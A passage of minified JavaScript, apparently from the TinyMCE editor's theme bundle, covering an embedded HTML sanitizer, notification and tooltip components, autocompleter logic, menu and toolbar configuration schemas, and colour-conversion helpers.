n=N(t.nodeName);if(It("uponSanitizeElement",t,{tagName:n,allowedTags:G}),t.hasChildNodes()&&!Ft(t.firstElementChild)&&(!Ft(t.content)||!Ft(t.content.firstElementChild))&&Bp(/<[/\w]/g,t.innerHTML)&&Bp(/<[/\w]/g,t.textContent))return Dt(t),1;if("select"===n&&Bp(/<template/i,t.innerHTML))return Dt(t),1;if(G[n]&&!J[n])return t instanceof a&&!function(t){var e=w(t);e&&e.tagName||(e={namespaceURI:yt,tagName:"template"});var n=_p(t.tagName),o=_p(e.tagName);return t.namespaceURI===bt?e.namespaceURI===yt?"svg"===n:e.namespaceURI===vt?"svg"===n&&("annotation-xml"===o||Ct[o]):Boolean(Tt[n]):t.namespaceURI===vt?e.namespaceURI===yt?"math"===n:e.namespaceURI===bt?"math"===n&&Ot[o]:Boolean(Et[n]):t.namespaceURI===yt&&(e.namespaceURI!==bt||Ot[o])&&(e.namespaceURI!==vt||Ct[o])&&!Et[n]&&(_t[n]||!Tt[n])}(t)||("noscript"===n||"noembed"===n)&&Bp(/<\/no(script|embed)/i,t.innerHTML)?(Dt(t),1):(et&&3===t.nodeType&&(e=t.textContent,e=Ep(e,V," "),e=Ep(e,H," "),t.textContent!==e&&(Op(l.removed,{element:t.cloneNode()}),t.textContent=e)),It("afterSanitizeElements",t,null),0);if(!J[n]&&Vt(n)){if(K.tagNameCheck instanceof RegExp&&Bp(K.tagNameCheck,n))return;if(K.tagNameCheck instanceof Function&&K.tagNameCheck(n))return}if(st&&!ft[n]){var o=w(t)||t.parentNode,r=x(t)||t.childNodes;if(r&&o)for(var i=r.length-1;0<=i;--i)o.insertBefore(b(r[i],!0),y(t))}return Dt(t),1}function Nt(t,e,n){if(ct&&("id"===e||"name"===e)&&(n in u||n in kt))return!1;if((!Z||$[e]||!Bp(L,e))&&(!Q||!Bp(z,e)))if(!Y[e]||$[e]){if(!(Vt(t)&&(K.tagNameCheck instanceof RegExp&&Bp(K.tagNameCheck,t)||K.tagNameCheck instanceof Function&&K.tagNameCheck(t))&&(K.attributeNameCheck instanceof RegExp&&Bp(K.attributeNameCheck,e)||K.attributeNameCheck instanceof Function&&K.attributeNameCheck(e))||"is"===e&&K.allowCustomizedBuiltInElements&&(K.tagNameCheck instanceof RegExp&&Bp(K.tagNameCheck,n)||K.tagNameCheck instanceof Function&&K.tagNameCheck(n))))return!1}else if(!pt[e]&&!Bp(W,Ep(n,j,""))&&("src"!==e&&"xlink:href"!==e&&"href"!==e||"script"===t||0!==Dp(n,"data:")||!mt[t])&&(!tt||Bp(U,Ep(n,j,"")))&&n)return!1;return!0}function Pt(t){It("beforeSanitizeAttributes",t,null);var e=t.attributes;if(e){for(var n={attrName:"",attrValue:"",keepAttr:!0,allowedAttributes:Y},o=e.length;o--;){var r,i=(r=e[o]).name,u=r.namespaceURI,a="value"===i?r.value:Ap(r.value),c=N(i);if(n.attrName=c,n.attrValue=a,n.keepAttr=!0,n.forceKeepAttr=void 0,It("uponSanitizeAttribute",t,n),a=n.attrValue,!n.forceKeepAttr&&(At(i,t),n.keepAttr))if(Bp(/\/>/i,a))At(i,t);else if(et&&(a=Ep(a,V," "),a=Ep(a,H," ")),Nt(N(t.nodeName),c,a))try{u?t.setAttributeNS(u,i,a):t.setAttribute(i,a),Cp(l.removed)}catch(t){}}It("afterSanitizeAttributes",t,null)}}Ip(Et,Up);var Vt=function(t){return 0<t.indexOf("-")};return l.sanitize=function(t,e){var n,o,r,i,u;if("string"!=typeof(t=(P=!t)?"\x3c!--\x3e":t)&&!Ft(t)){if("function"!=typeof t.toString)throw Mp("toString is not a function");if("string"!=typeof(t=t.toString()))throw Mp("dirty is not a string, aborting")}if(!l.isSupported){if("object"===up(f.toStaticHTML)||"function"==typeof f.toStaticHTML){if("string"==typeof t)return f.toStaticHTML(t);if(Ft(t))return f.toStaticHTML(t.outerHTML)}return t}if(ot||F(e),l.removed=[],lt="string"!=typeof t&&lt){if(t.nodeName){var a=N(t.nodeName);if(!G[a]||J[a])throw Mp("root node is forbidden and cannot be sanitized in-place")}}else if(t instanceof g)1===(o=(n=Bt("\x3c!----\x3e")).ownerDocument.importNode(t,!0)).nodeType&&"BODY"===o.nodeName||"HTML"===o.nodeName?n=o:n.appendChild(o);else{if(!it&&!et&&!nt&&-1===t.indexOf("<"))return S&&at?S.createHTML(t):t;if(!(n=Bt(t)))return it?null:at?k:""}n&&rt&&Dt(n.firstChild);for(var c=Mt(lt?t:n);r=c.nextNode();)3===r.nodeType&&r===i||Rt(r)||(r.content instanceof m&&function t(e){var n,o=Mt(e);for(It("beforeSanitizeShadowDOM",e,null);n=o.nextNode();)It("uponSanitizeShadowNode",n,null),Rt(n)||(n.content instanceof m&&t(n.content),Pt(n));It("afterSanitizeShadowDOM",e,null)}(r.content),Pt(r),i=r);if(i=null,lt)return t;if(it){if(ut)for(u=T.call(n.ownerDocument);n.firstChild;)u.appendChild(n.firstChild);else u=n;return Y.shadowroot?D.call(d,u,!0):u}var s=nt?n.outerHTML:n.innerHTML;return nt&&G["!doctype"]&&n.ownerDocument&&n.ownerDocument.doctype&&n.ownerDocument.doctype.name&&Bp(eh,n.ownerDocument.doctype.name)&&(s="<!DOCTYPE "+n.ownerDocument.doctype.name+">\n"+s),et&&(s=Ep(s,V," "),s=Ep(s,H," ")),S&&at?S.createHTML(s):s},l.setConfig=function(t){F(t),ot=!0},l.clearConfig=function(){St=null,ot=!1},l.isValidAttribute=function(t,e,n){return St||F({}),Nt(N(t),N(e),n)},l.addHook=function(t,e){"function"==typeof e&&(B[t]=B[t]||[],Op(B[t],e))},l.removeHook=function(t){if(B[t])return Cp(B[t])},l.removeHooks=function(t){B[t]&&(B[t]=[])},l.removeAllHooks=function(){B={}},l}(),fh=tinymce.util.Tools.resolve("tinymce.util.I18n"),dh={indent:!0,outdent:!0,"table-insert-column-after":!0,"table-insert-column-before":!0,"paste-column-after":!0,"paste-column-before":!0,"unordered-list":!0,"list-bull-circle":!0,"list-bull-default":!0,"list-bull-square":!0},mh="temporary-placeholder",gh={success:"checkmark",error:"warning",err:"error",warning:"warning",warn:"warning",info:"info"},ph=kl({name:"Notification",factory:function(e){function n(t){return{dom:{tag:"div",classes:["tox-bar"],attributes:{style:"width: "+t+"%"}}}}function o(t){return{dom:{tag:"div",classes:["tox-text"],innerHtml:t+"%"}}}var t,r,i,u,a=Lm({dom:Hm("<p>"+nh(e.translationProvider(e.text))+"</p>"),behaviours:ec([Dg.config({})])}),c=Lm({dom:{tag:"div",classes:e.progress?["tox-progress-bar","tox-progress-indicator"]:["tox-progress-bar"]},components:[{dom:{tag:"div",classes:["tox-bar-container"]},components:[n(0)]},o(0)],behaviours:ec([Dg.config({})])}),s={updateProgress:function(t,e){t.getSystem().isConnected()&&c.getOpt(t).each(function(t){Dg.set(t,[{dom:{tag:"div",classes:["tox-bar-container"]},components:[n(e)]},o(e)])})},updateText:function(t,e){var n;t.getSystem().isConnected()&&(n=a.get(t),Dg.set(n,[ri(e)]))}},l=ft([e.icon.toArray(),e.level.toArray(),e.level.bind(function(t){return vt.from(gh[t])}).toArray()]),f=Lm(ip.sketch({dom:{tag:"button",classes:["tox-notification__dismiss","tox-button","tox-button--naked","tox-button--icon"]},components:[sh("close",{tag:"div",classes:["tox-icon"],attributes:{"aria-label":e.translationProvider("Close")}},e.iconProvider)],action:function(t){e.onAction(t)}})),d=[(t=l,r={tag:"div",classes:["tox-notification__icon"]},i=e.iconProvider,u=i(),ch(r,N(t,function(t){return Tt(u,rh(t,u))}).getOr(mh),u,vt.none())),{dom:{tag:"div",classes:["tox-notification__body"]},components:[a.asSpec()],behaviours:ec([Dg.config({})])}];return{uid:e.uid,dom:{tag:"div",attributes:{role:"alert"},classes:e.level.map(function(t){return["tox-notification","tox-notification--in","tox-notification--"+t]}).getOr(["tox-notification","tox-notification--in"])},behaviours:ec([Mg.config({}),mm("notification-events",[Cr(bi(),function(t){f.getOpt(t).each(Mg.focus)})])]),components:d.concat(e.progress?[c.asSpec()]:[]).concat(e.closeButton?[f.asSpec()]:[]),apis:s}},configFields:[wo("level"),mo("progress"),mo("icon"),mo("onAction"),mo("text"),mo("iconProvider"),mo("translationProvider"),Fo("closeButton",!0)],apis:{updateProgress:function(t,e,n){t.updateProgress(e,n)},updateText:function(t,e,n){t.updateText(e,n)}}});function hh(n,o){function r(){b(i)||(clearTimeout(i),i=null)}var i=null;return{cancel:r,throttle:function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];r(),i=setTimeout(function(){i=null,n.apply(null,t)},o)}}}function vh(o,t,e,n,r){var i=Dh(o,function(t){return(e=o).isBlock(n=t)||wt(["BR","IMG","HR","INPUT"],n.nodeName)||"false"===e.getContentEditable(n);var e,n});return vt.from(i.backwards(t,e,n,r))}function bh(n,e){return Ah(Mt.fromDom(n.selection.getNode())).getOrThunk(function(){var i,u,t=Mt.fromHtml('<span data-mce-autocompleter="1" data-mce-bogus="1"></span>',n.getDoc());return Tn(t,Mt.fromDom(e.extractContents())),e.insertNode(t.dom),Yt(t).each(function(t){return t.dom.normalize()}),i=hs,(u=function(t){for(var e=Kt(t),n=e.length-1;0<=n;n--){var o=e[n];if(i(o))return vt.some(o);var r=u(o);if(r.isSome())return r}return vt.none()})(t).map(function(t){var e;n.selection.setCursorLocation(t.dom,"img"===Ft(e=t)?1:ps(e).fold(function(){return Kt(e).length},function(t){return t.length}))}),t})}function yh(t){return t.toString().replace(/\u00A0/g," ").replace(/\uFEFF/g,"")}function xh(t){return""!==t&&-1!==" \xa0\f\n\r\t\v".indexOf(t)}function wh(t,e){return t.substring(e.length)}function Sh(o,t,r,e){return void 0===e&&(e=0),Ah(Mt.fromDom(t.startContainer)).fold(function(){return function(t,o,i,r){if(void 0===r&&(r=0),!o.collapsed||3!==o.startContainer.nodeType)return vt.none();var e=t.getParent(o.startContainer,t.isBlock)||t.getRoot();return vh(t,o.startContainer,o.startOffset,function(t,r,e){return function(t,e){for(var n=r-1;0<=n;n--){var o=t.charAt(n);if(xh(o))return vt.none();if(o===e)break}return vt.some(n)}(e,i).getOr(r)},e).bind(function(t){var e=o.cloneRange();if(e.setStart(t.container,t.offset),e.setEnd(o.endContainer,o.endOffset),e.collapsed)return vt.none();var n=yh(e);return 0!==n.lastIndexOf(i)||wh(n,i).length<r?vt.none():vt.some({text:wh(n,i),range:e,triggerChar:i})})}(o,t,r,e)},function(t){var e=o.createRng();e.selectNode(t.dom);var n=yh(e);return vt.some({range:e,text:wh(n,r),triggerChar:r})})}function kh(t,e){return{container:t,offset:e}}function Ch(t){return ao("toolbarbutton",Vh,t)}function Oh(t){return ao("ToggleButton",Lh,t)}function _h(e,t,n,o){void 0===o&&(o={});var r=t(),i=e.selection.getRng().startContainer.nodeValue,u=F(r.lookupByChar(n.triggerChar),function(t){return n.text.length>=t.minChars&&t.matches.getOrThunk(function(){return n=e.dom,function(t){var e=Fh(t.startContainer,t.startOffset);return!vh(n,e.container,e.offset,function(t,e){return 0===e?-1:e},n.getRoot()).filter(function(t){return!xh(t.container.data.charAt(t.offset-1))}).isSome()};var n})(n.range,i,n.text)});if(0===u.length)return vt.none();var a=Bh.all(B(u,function(e){return e.fetch(n.text,e.maxResults,o).then(function(t){return{matchText:n.text,items:t,columns:e.columns,onAction:e.onAction,highlightOn:e.highlightOn}})}));return vt.some({lookupData:a,context:n})}var Th,Eh,Dh=tinymce.util.Tools.resolve("tinymce.dom.TextSeeker"),Ah=function(t){return Ru(t,"[data-mce-autocompleter]")},Bh=tinymce.util.Tools.resolve("tinymce.util.Promise"),Mh=function(t){if(3===t.nodeType)return kh(t,t.data.length);var e=t.childNodes;return 0<e.length?Mh(e[e.length-1]):kh(t,e.length)},Fh=function(t,e){var n=t.childNodes;return 0<n.length&&e<n.length?Fh(n[e],0):0<n.length&&1===t.nodeType&&n.length===e?Mh(n[n.length-1]):kh(t,e)},Ih=$o([po("type"),Co("text")]),Rh=$o([Eo("type","autocompleteitem"),Eo("active",!1),Eo("disabled",!1),Eo("meta",{}),po("value"),Co("text"),Co("icon")]),Nh=$o([po("type"),po("ch"),Ao("minChars",1),Eo("columns",1),Ao("maxResults",10),Oo("matches"),vo("fetch"),vo("onAction"),Ro("highlightOn",[],er)]),Ph=[Fo("disabled",!1),Co("tooltip"),Co("icon"),Co("text"),Io("onSetup",function(){return st})],Vh=$o([po("type"),vo("onAction")].concat(Ph)),Hh=[Fo("active",!1)].concat(Ph),Lh=$o(Hh.concat([po("type"),vo("onAction")])),zh=[Io("predicate",T),Mo("scope","node",["node","editor"]),Mo("position","selection",["node","selection","line"])],Uh=Ph.concat([Eo("type","contextformbutton"),Eo("primary",!1),vo("onAction"),cr("original",h)]),jh=Hh.concat([Eo("type","contextformbutton"),Eo("primary",!1),vo("onAction"),cr("original",h)]),Wh=Ph.concat([Eo("type","contextformbutton")]),Gh=Hh.concat([Eo("type","contextformtogglebutton")]),Xh=lo("type",{contextformbutton:Uh,contextformtogglebutton:jh}),Yh=$o([Eo("type","contextform"),Io("initValue",rt("")),Co("label"),xo("commands",Xh),So("launch",lo("type",{contextformbutton:Wh,contextformtogglebutton:Gh}))].concat(zh)),qh=$o([Eo("type","contexttoolbar"),po("items")].concat(zh));function Kh(t){return tt(Ov,t).getOr(Sv)}function Jh(t){return{backgroundMenu:"tox-background-menu",selectedMenu:"tox-selected-menu",selectedItem:"tox-collection__item--active",hasIcons:"tox-menu--has-icons",menu:"color"===t?"tox-swatches":"tox-menu",tieredMenu:"tox-tiered-menu"}}function $h(t){var e=Jh(t);return{backgroundMenu:e.backgroundMenu,selectedMenu:e.selectedMenu,menu:e.menu,selectedItem:e.selectedItem,item:Kh(t)}}function Qh(t,e,n){return{dom:{tag:"div",classes:ft([[Jh(n).tieredMenu]])},markers:$h(n)}}function Zh(e,n){return function(t){return B(p(t,n),function(t){return{dom:e,components:t}})}}function tv(t,n){var o=[],r=[];return St(t,function(t,e){n(t,e)?(0<r.length&&o.push(r),r=[],Tt(t.dom,"innerHtml")&&r.push(t)):r.push(t)}),0<r.length&&o.push(r),B(o,function(t){return{dom:{tag:"div",classes:["tox-collection__group"]},components:t}})}function ev(e,n){return{dom:{tag:"div",classes:["tox-menu","tox-collection"].concat(1===e?["tox-collection--list"]:["tox-collection--grid"])},components:[qg.parts.items({preprocess:function(t){return"auto"!==e&&1<e?Zh({tag:"div",classes:["tox-collection__group"]},e)(t):tv(t,function(t,e){return"separator"===n[e].type})}})]}}function nv(t){return d(t,function(t){return"icon"in t&&void 0!==t.icon})}function ov(t){return console.error(ur(t)),console.log(t),vt.none()}function rv(t,e,n,o,r){var i,u=(i=n,{dom:{tag:"div",classes:["tox-collection","tox-collection--horizontal"]},components:[qg.parts.items({preprocess:function(t){return tv(t,function(t,e){return"separator"===i[e].type})}})]});return{value:t,dom:u.dom,components:u.components,items:n}}function iv(t,e,n,o,r){var i,u;return"color"===r?{value:t,dom:(i={dom:{tag:"div",classes:["tox-menu","tox-swatches-menu"]},components:[{dom:{tag:"div",classes:["tox-swatches"]},components:[qg.parts.items({preprocess:"auto"!==o?Zh({tag:"div",classes:["tox-swatches__row"]},o):h})]}]}).dom,components:i.components,items:n}:"normal"===r&&"auto"===o?{value:t,dom:(i=ev(o,n)).dom,components:i.components,items:n}:"normal"===r&&1===o?{value:t,dom:(i=ev(1,n)).dom,components:i.components,items:n}:"normal"===r?{value:t,dom:(i=ev(o,n)).dom,components:i.components,items:n}:"listpreview"!==r||"auto"===o?{value:t,dom:{tag:"div",classes:ft([[(u=Jh(r)).menu,"tox-menu-"+o+"-column"],e?[u.hasIcons]:[]])},components:Fv,items:n}:{value:t,dom:(i={dom:{tag:"div",classes:["tox-menu","tox-collection","tox-collection--toolbar","tox-collection--toolbar-lg"]},components:[qg.parts.items({preprocess:Zh({tag:"div",classes:["tox-collection__group"]},o)})]}).dom,components:i.components,items:n}}function uv(t,o,e){var r=vs(t.element,"."+e);if(0<r.length){var n=P(r,function(t){var e=t.dom.getBoundingClientRect().top,n=r[0].dom.getBoundingClientRect().top;return Math.abs(e-n)>o}).getOr(r.length);return vt.some({numColumns:n,numRows:Math.ceil(r.length/n)})}return vt.none()}function av(t,e,n){t.getSystem().broadcastOn([Kv],{})}function cv(t){return t.getParam("height",Math.max(t.getElement().offsetHeight,200))}function sv(t){return t.getParam("width",eb.DOM.getStyle(t.getElement(),"width"))}function lv(t){return vt.from(t.getParam("min_width")).filter(u)}function fv(t){return vt.from(t.getParam("min_height")).filter(u)}function dv(t){return vt.from(t.getParam("max_width")).filter(u)}function mv(t){return vt.from(t.getParam("max_height")).filter(u)}function gv(t){return!1!==t.getParam("menubar",!0,"boolean")}function pv(t){var e=t.getParam("toolbar",!0),n=!0===e,o=y(e),r=c(e)&&0<e.length;return!ob(t)&&(r||o||n)}function hv(e){var t=F(m(9,function(t){return e.getParam("toolbar"+(t+1),!1,"string")}),function(t){return"string"==typeof t});return 0<t.length?vt.some(t):vt.none()}(Eh=Th={})[Eh.CLOSE_ON_EXECUTE=0]="CLOSE_ON_EXECUTE",Eh[Eh.BUBBLE_TO_SANDBOX=1]="BUBBLE_TO_SANDBOX";var vv,bv,yv,xv,wv=Th,Sv="tox-menu-nav__js",kv="tox-collection__item",Cv="tox-swatch",Ov={normal:Sv,color:Cv},_v="tox-collection__item--enabled",Tv="tox-collection__item-icon",Ev="tox-collection__item-label",Dv="tox-collection__item-caret",Av="tox-collection__item--active",Bv="tox-collection__item-container",Mv="tox-collection__item-container--row",Fv=[qg.parts.items({})],Iv=[po("type"),po("src"),Co("alt"),Ro("classes",[],er)],Rv=$o(Iv),Nv=[po("type"),po("text"),Co("name"),Ro("classes",["tox-collection__item-label"],er)],Pv=$o(Nv),Vv=Zn(function(){return ro("type",{cardimage:Rv,cardtext:Pv,cardcontainer:Hv})}),Hv=$o([po("type"),Bo("direction","horizontal"),Bo("align","left"),Bo("valign","middle"),xo("items",Vv)]),Lv=[Fo("disabled",!1),Co("text"),Co("shortcut"),ar("value","value",Wn(function(){return Ir("menuitem-value")}),Zo()),Eo("meta",{})],zv=$o([po("type"),Co("label"),xo("items",Vv),Io("onSetup",function(){return st}),Io("onAction",st)].concat(Lv)),Uv=$o([po("type"),Fo("active",!1),Co("icon")].concat(Lv)),jv=[po("type"),po("fancytype"),Io("onAction",st)],Wv=lo("fancytype",{inserttable:[Eo("initData",{})].concat(jv),colorswatch:[No("initData",{},[Fo("allowCustomColors",!0),_o("colors",Zo())])].concat(jv)}),Gv=$o([po("type"),Io("onSetup",function(){return st}),Io("onAction",st),Co("icon")].concat(Lv)),Xv=$o([po("type"),vo("getSubmenuItems"),Io("onSetup",function(){return st}),Co("icon")].concat(Lv)),Yv=$o([po("type"),Co("icon"),Fo("active",!1),Io("onSetup",function(){return st}),vo("onAction")].concat(Lv)),qv=function(t){return e=Ir("unnamed-events"),ec([mm(e,t)]);var e},Kv=Ir("tooltip.exclusive"),Jv=Ir("tooltip.show"),$v=Ir("tooltip.hide"),Qv=Object.freeze({__proto__:null,hideAllExclusive:av,setComponents:function(t,e,n,o){n.getTooltip().each(function(t){t.getSystem().isConnected()&&Dg.set(t,o)})}}),Zv=Object.freeze({__proto__:null,events:function(r,i){function n(e){i.getTooltip().each(function(t){Vs(t),r.onHide(e,t),i.clearTooltip()}),i.clearTimer()}return nu(ft([[Cr(Jv,function(o){i.resetTimer(function(){var t,e,n=o;i.isShowing()||(av(n),t=r.lazySink(n).getOrDie(),e=n.getSystem().build({dom:r.tooltipDom,components:r.tooltipComponents,events:nu("normal"===r.mode?[Cr(vi(),function(t){vr(n,Jv)}),Cr(pi(),function(t){vr(n,$v)})]:[]),behaviours:ec([Dg.config({})])}),i.setTooltip(e),Ns(t,e),r.onShow(n,e),ff.position(t,e,{anchor:r.anchor(n)}))},r.delay)}),Cr($v,function(t){i.resetTimer(function(){n(t)},r.delay)}),Cr(Fi(),function(t,e){e.universal||wt(e.channels,Kv)&&n(t)}),ru(function(t){n(t)})],"normal"===r.mode?[Cr(bi(),function(t){vr(t,Jv)}),Cr(Bi(),function(t){vr(t,$v)}),Cr(vi(),function(t){vr(t,Jv)}),Cr(pi(),function(t){vr(t,$v)})]:[Cr(Zi(),function(t,e){vr(t,Jv)}),Cr(tu(),function(t){vr(t,$v)})]]))}}),tb=xa({fields:[mo("lazySink"),mo("tooltipDom"),Eo("exclusive",!0),Eo("tooltipComponents",[]),Eo("delay",300),Mo("mode","normal",["normal","follow-highlight"]),Eo("anchor",function(t){return{type:"hotspot",hotspot:t,layouts:{onLtr:rt([$a,Ja,Xa,qa,Ya,Ka]),onRtl:rt([$a,Ja,Xa,qa,Ya,Ka])}}}),Ju("onHide"),Ju("onShow")],name:"tooltipping",active:Zv,state:Object.freeze({__proto__:null,init:function(){function n(){o.on(clearTimeout)}var o=gc(),t=gc(),e=rt("not-implemented");return wu({getTooltip:t.get,isShowing:t.isSet,setTooltip:t.set,clearTooltip:t.clear,clearTimer:n,resetTimer:function(t,e){n(),o.set(setTimeout(t,e))},readState:e})}}),apis:Qv}),eb=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),nb=tinymce.util.Tools.resolve("tinymce.EditorManager"),ob=function(t){return hv(t).fold(function(){return 0<t.getParam("toolbar",[],"string[]").length},D)};function rb(t){return t.getParam("toolbar_mode","","string")}function ib(t){return t.getParam("toolbar_location",yv.auto,"string")}function ub(t){return ib(t)===yv.bottom}function ab(t){if(!t.inline)return vt.none();var e=t.getParam("fixed_toolbar_container","","string");if(0<e.length)return Iu(bn(),e);var n=t.getParam("fixed_toolbar_container_target");return k(n)?vt.some(Mt.fromDom(n)):vt.none()}function cb(t){return t.inline&&ab(t).isSome()}function sb(t){return ab(t).getOrThunk(function(){return te(gn(Mt.fromDom(t.getElement())))})}function lb(t){return t.inline&&!gv(t)&&!pv(t)&&!ob(t)}function fb(t){return(t.getParam("toolbar_sticky",!1,"boolean")||t.inline)&&!cb(t)&&!lb(t)}function db(t,e){var n=t.outerContainer.element;e&&(t.mothership.broadcastOn([yf()],{target:n}),t.uiMothership.broadcastOn([yf()],{target:n})),t.mothership.broadcastOn([qb],{readonly:e}),t.uiMothership.broadcastOn([qb],{readonly:e})}function mb(t,e){t.on("init",function(){t.mode.isReadOnly()&&db(e,!0)}),t.on("SwitchMode",function(){return db(e,t.mode.isReadOnly())}),t.getParam("readonly",!1,"boolean")&&t.setMode("readonly")}function gb(){var t;return ic.config({channels:((t={})[qb]={schema:Kb,onReceive:function(t,e){gd.set(t,e.readonly)}},t)})}function pb(t,e){var n=t.getApi(e);return function(t){t(n)}}function hb(n,o){return ou(function(t){pb(n,t)(function(t){var e=n.onSetup(t);S(e)&&o.set(e)})})}function vb(e,n){return ru(function(t){return pb(e,t)(n.get())})}function bb(t,e,n,o){var r,i,u=Po(st);return{type:"item",dom:e.dom,components:Zb(e.optComponents),data:t.data,eventOrder:Qb,hasSubmenu:t.triggersSubmenu,itemBehaviours:ec([mm("item-events",[(r=t,i=n,uu(function(t,e){pb(r,t)(r.onAction),r.triggersSubmenu||i!==wv.CLOSE_ON_EXECUTE||(vr(t,Vi()),e.stop())})),hb(t,u),vb(t,u)]),gd.config({disabled:function(){return t.disabled||o.isDisabled()},disableClass:"tox-collection__item--state-disabled"}),gb(),Dg.config({})].concat(t.itemBehaviours))}}function yb(t){return{value:t.value,meta:lt({text:t.text.getOr("")},t.meta)}}function xb(t,e,n){return sh(t,{tag:"div",classes:n=void 0===n?[Tv]:n},e)}function wb(t){return{dom:{tag:"div",classes:[Ev]},components:[ri(fh.translate(t))]}}function Sb(t,e){return{dom:{tag:"div",classes:e,innerHtml:t}}}function kb(t,e){return{dom:{tag:"div",classes:[Ev]},components:[{dom:{tag:t.tag,styles:t.styles},components:[ri(fh.translate(e))]}]}}function Cb(t){return{dom:{tag:"div",classes:["tox-collection__item-accessory"],innerHtml:(n=ty.mac?{alt:"&#x2325;",ctrl:"&#x2303;",shift:"&#x21E7;",meta:"&#x2318;",access:"&#x2303;&#x2325;"}:{meta:"Ctrl",access:"Shift+Alt"},e=B(t.split("+"),function(t){var e=t.toLowerCase().trim();return Tt(n,e)?n[e]:t}),ty.mac?e.join(""):e.join("+"))}};var n,e}function Ob(t){return xb("checkmark",t,["tox-collection__item-checkmark"])}function _b(t){var e=t.map(function(t){return{attributes:{title:fh.translate(t)}}}).getOr({});return lt({tag:"div",classes:[Sv,kv]},e)}function Tb(t,e,n,o){return void 0===o&&(o=vt.none()),"color"===t.presets?(r=e,i=o,c=t.ariaLabel,s=t.value,{dom:(u=t.iconContent.map(function(t){return e=r.icons,n=i,ih(t,o=e()).or(n).getOrThunk(oh(o));var e,n,o}).getOr(""),a={tag:"div",attributes:c.map(function(t){return{title:r.translate(t)}}).getOr({}),classes:["tox-swatch"]},lt(lt({},a),"custom"===s?{tag:"button",classes:V(V([],a.classes,!0),["tox-swatches__picker-btn"],!1),innerHtml:u}:"remove"===s?{classes:V(V([],a.classes,!0),["tox-swatch--remove"],!1),innerHtml:u}:{attributes:lt(lt({},a.attributes),{"data-mce-color":s}),styles:{"background-color":s}})),optComponents:[]}):(l=t,f=e,d=o,m={tag:"div",classes:[Tv]},g=n?l.iconContent.map(function(t){return sh(t,m,f.icons,d)}).orThunk(function(){return vt.some({dom:m})}):vt.none(),p=l.checkMark,h=vt.from(l.meta).fold(function(){return wb},function(t){return Tt(t,"style")?C(kb,t.style):wb}),v=l.htmlContent.fold(function(){return l.textContent.map(h)},function(t){return vt.some(Sb(t,[Ev]))}),{dom:_b(l.ariaLabel),optComponents:[g,v,l.shortcutContent.map(Cb),p,l.caret]});var r,i,u,a,c,s,l,f,d,m,g,p,h,v}function Eb(t,e){return tt(t,"tooltipWorker").map(function(n){return[tb.config({lazySink:e.getSink,tooltipDom:{tag:"div",classes:["tox-tooltip-worker-container"]},tooltipComponents:[],anchor:function(t){return{type:"submenu",item:t,overrides:{maxHeightFunction:Nc}}},mode:"follow-highlight",onShow:function(e,t){n(function(t){tb.setComponents(e,[Ou({element:Mt.fromDom(t)})])})}})]}).getOr([])}function Db(t,e){var n=fh.translate(t),o=eb.DOM.encode(n);if(0<e.length){var r=new RegExp(e.replace(/[.*+?^${}()|[\]\\]/g,"\\$&"),"gi");return o.replace(r,function(t){return'<span class="tox-autocompleter-highlight">'+t+"</span>"})}return o}function Ab(t){return{value:t}}function Bb(t){return oy.test(t)||ry.test(t)}function Mb(t){var e=t.toString(16);return(1===e.length?"0"+e:e).toUpperCase()}function Fb(t){return Ab(Mb(t.red)+Mb(t.green)+Mb(t.blue))}function Ib(t,e,n,o){return{red:t,green:e,blue:n,alpha:o}}function Rb(t){var e=parseInt(t,10);return e.toString()===t&&0<=e&&e<=255}function Nb(t){var e,n,o,r=(t.hue||0)%360,i=t.saturation/100,u=t.value/100,i=uy(0,iy(i,1)),u=uy(0,iy(u,1));if(0===i)return Ib(e=n=o=ay(255*u),n,o,1);var a=r/60,c=u*i,s=c*(1-Math.abs(a%2-1)),l=u-c;switch(Math.floor(a)){case 0:e=c,n=s,o=0;break;case 1:e=s,n=c,o=0;break;case 2:e=0,n=c,o=s;break;case 3:e=0,n=s,o=c;break;case 4:e=s,n=0,o=c;break;case 5:e=c,n=0,o=s;break;default:e=n=o=0}return Ib(e=ay(255*(e+l)),n=ay(255*(n+l)),o=ay(255*(o+l)),1)}function Pb(t){var e,n,o=(e={value:t.value.replace(oy,function(t,e,n,o){return e+e+n+n+o+o})},null===(n=ry.exec(e.value))?["FFFFFF","FF","FF","FF"]:n);return Ib(parseInt(o[1],16),parseInt(o[2],16),parseInt(o[3],16),1)}function Vb(t,e,n,o){return Ib(parseInt(t,10),parseInt(e,10),parseInt(n,10),parseFloat(o))}function Hb(t){if("transparent"===t)return vt.some(Ib(0,0,0,0));var e=cy.exec(t);if(null!==e)return vt.some(Vb(e[1],e[2],e[3],"1"));var n=sy.exec(t);return null!==n?vt.some(Vb(n[1],n[2],n[3],n[4])):vt.none()}function Lb(t){return"rgba("+t.red+","+t.green+","+t.blue+","+t.alpha+")"}function zb(t,e){return t.fire("ResizeContent",e)}function Ub(t,e,n){return{hue:t,saturation:e,value:n}}function jb(t){var e,n,o=0,r=t.red/255,i=t.green/255,u=t.blue/255,a=Math.min(r,Math.min(i,u)),c=Math.max(r,Math.max(i,u));return a===c?Ub(0,0,100*(o=a)):(n=60*((r===a?3:u===a?1:5)-(r===a?i-u:u===a?r-i:u-r)/(c-a)),e=(c-a)/c,o=c,Ub(Math.round(n),Math.round(100*e),Math.round(100*o)))}function Wb(t){return Fb(Nb(t))}function Gb(o){return(Bb(e=o)?vt.some({value:(Dt(t=e,"#")?t.substring("#".length):t).toUpperCase()}):vt.none()).orThunk(function(){return Hb(o).map(Fb)}).getOrThunk(function(){var t=document.createElement("canvas");t.height=1,t.width=1;var e=t.getContext("2d");e.clearRect(0,0,t.width,t.height),e.fillStyle="#FFFFFF",e.fillStyle=o,e.fillRect(0,0,1,1);var n=e.getImageData(0,0,1,1).data;return Fb(Ib(n[0],n[1],n[2],n[3]))});var t,e}(bv=vv=vv||{}).default="wrap",bv.floating="floating",bv.sliding="sliding",bv.scrolling="scrolling",(xv=yv=yv||{}).auto="auto",xv.top="top",xv.bottom="bottom";function Xb(t){return gd.config({disabled:t,disableClass:"tox-tbtn--disabled"})}var Yb,qb="silver.readonly",Kb=$o([go("readonly",nr)]),Jb=function(t){return gd.config({disabled:t})},$b=function(t){return gd.config({disabled:t,disableClass:"tox-tbtn--disabled",useNative:!1})},Qb=((Yb={})[Ii()]=["disabling","alloy.base.behaviour","toggling","item-events"],Yb),Zb=nt,ty=tinymce.util.Tools.resolve("tinymce.Env"),ey=function(t,a){return 